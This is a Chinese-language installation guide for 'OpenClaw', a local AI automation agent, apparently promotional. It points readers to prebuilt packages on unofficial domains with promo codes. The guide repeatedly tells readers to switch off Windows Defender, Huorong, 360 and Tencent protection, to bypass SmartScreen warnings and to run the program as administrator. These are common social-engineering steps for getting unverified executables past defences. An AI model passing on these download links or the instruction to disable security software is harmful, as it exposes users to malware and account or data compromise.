OpenClaw 本地 AI 智能代理部署，双系统图形化安装实操笔记

适配系统：Windows10/11 64 位、macOS12 及以上 当前版本：Windows v3.1.0、macOS v2.7.9 安装包大小：45.8MB

工具简述

OpenClaw 是一款能够在本地电脑运行的 AI 智能代理，兼容 Windows、macOS 两大操作系统。该工具采用图形向导式安装，全程不用输入命令行代码。安装包集成 Git、Python、Node.js 等所有运行依赖，即便不具备编程基础，也可以在短时间内完成部署。用户只需要输入自然语言指令，就能够完成文件整理、键鼠模拟、软件调度等各类电脑自动化任务。

Windows 下载地址：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C macOS 下载地址：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

部署前的注意事项

OpenClaw 拥有本地文件读写、键鼠模拟、调用应用程序的权限，安全防护软件很容易将程序识别为风险项目。

下载、解压、安装、启动软件的整个阶段，建议临时关闭 Windows Defender 实时防护、火绒、360 安全卫士、腾讯电脑管家。一旦核心文件被安全软件隔离，部署流程就会中断。项目属于开源项目，大家可以前往 GitHub 查阅源码，确认项目相关信息，关闭防护软件后再继续后续操作。

第一步：获取对应系统安装压缩包

根据电脑操作系统，复制上方链接下载压缩包。推荐浏览器自带下载功能或者迅雷下载，减少下载中断导致压缩包损坏的情况。下载完成后，前往桌面或者浏览器默认下载目录找到文件。

第二步：解压文件并启动安装向导

推荐使用 7-Zip、WinRAR 解压工具，系统自带解压程序容易出现文件缺失。右键压缩包，解压到当前文件夹，生成完整程序目录。

Windows 系统打开解压后的文件夹，双击Openclaw Windows 一键启动.exe。

遇到 Windows SmartScreen 安全拦截弹窗，点击更多信息，选择仍要运行。

进入欢迎界面后，点击底部的开始使用，跳转至安装路径选择页面。

⚠️路径规范： 安装文件夹路径必须全部为英文，禁止中文、空格、特殊符号；尽量不要安装到 C 盘，减少系统盘占用。

• 推荐路径：D:\OpenClaw、E:\AITools\OpenClaw
• 不推荐路径：D:\AI工具\OpenClaw、带有中文名称的文件夹

勾选《用户协议》与《免责声明》，点击开始安装。

第三步：自动部署执行

点击开始安装按钮之后，程序会自动执行全部部署任务，全程无需人工干预，整个过程耗时 3-5 分钟，时长取决于电脑硬件性能。请勿关闭安装窗口，否则部署进程直接终止。

自动化执行任务清单：

1. 检测本机运行环境，自动补齐 Git、Node.js、Python 等缺失依赖；
2. 部署 OpenClaw 核心程序文件，适配当前操作系统；
3. 加载浏览器控制、键鼠模拟组件，支撑自动化任务执行；
4. 生成.env 配置文件，完成初始化并自动创建桌面快捷方式。

当进度条到达 100%，软件会自动打开 OpenClaw 主界面。

第四步：第一次启动，确认 Gateway 服务状态

安装完成自动跳转初始化页面，页面提示正在等待 Gateway 就绪...。第一次启动程序需要加载后台资源，等待 1-3 分钟属于正常现象，后续打开软件仅需数秒。

当界面右上角显示Gateway 在线，就代表部署成功。界面分区说明：

• 右上角：Gateway 运行状态、重启按钮、日志入口、可用 Tokens 额度；
• 左侧：本地与渠道切换栏，可以新建对话、查看历史会话；
• 中间：对话交互窗口，AI 智能代理交互，支持多模型切换，代码高亮；
• 底部：自然语言指令输入框，Enter 发送消息，Shift+Enter 换行，支持自动、普通模式切换。

第五步：下发指令，测试自动化能力

部署完成无需额外配置，直接在输入框填写任务指令，OpenClaw 自动拆解需求，操控电脑执行任务。指令描述越详细，任务执行效果越稳定。

可以直接复制下面指令快速测试功能：

1. 整理 D 盘下载文件夹，依据文件类型新建文件夹分类存放；
2. 打开记事本，输入 “OpenClaw 部署成功”，保存文件至桌面；
3. 查询本机磁盘剩余空间，整理文字信息反馈结果。

故障排查

1. 安装失败，软件启动无响应 确认各类安全防护软件全部关闭；关闭防护后问题依旧，则重新解压安装包重试。
2. Gateway 持续离线 ①确认安装路径纯英文，不含特殊字符；②点击右上角按钮重启 Gateway 服务；③关闭软件，右键选择以管理员身份运行程序。
3. 出现网络错误提示 第一次初始化需要联网加载资源，保持网络正常，关闭代理、VPN 之后重试。
4. Tokens 额度不足 内置 Tokens 额度可以支撑基础功能体验，额度耗尽可在界面充值补充，不会影响软件核心运行能力。
5. 输入框消息无法发送 等待 Gateway 状态切换为在线之后再操作，长时间异常建议重新部署。

使用经验分享

1. 安装磁盘预留 5G 以上存储空间，用于后续插件更新、模型缓存；
2. 桌面快捷方式生成完毕后，后续直接双击快捷方式启动，无需重复解压安装包；
3. 如果需要对接飞书、微信等聊天渠道，部署成功后进入设置→聊天渠道完成配置，在聊天窗口下发任务；
4. 版本更新直接下载新版本安装包覆盖原有文件夹，不需要卸载旧版本。

下载链接汇总

Windows v3.1.0：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C macOS v2.7.9：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

本文为图形化一键部署教程，后续持续更新技能拓展、本地大模型接入、多渠道联动相关实操内容。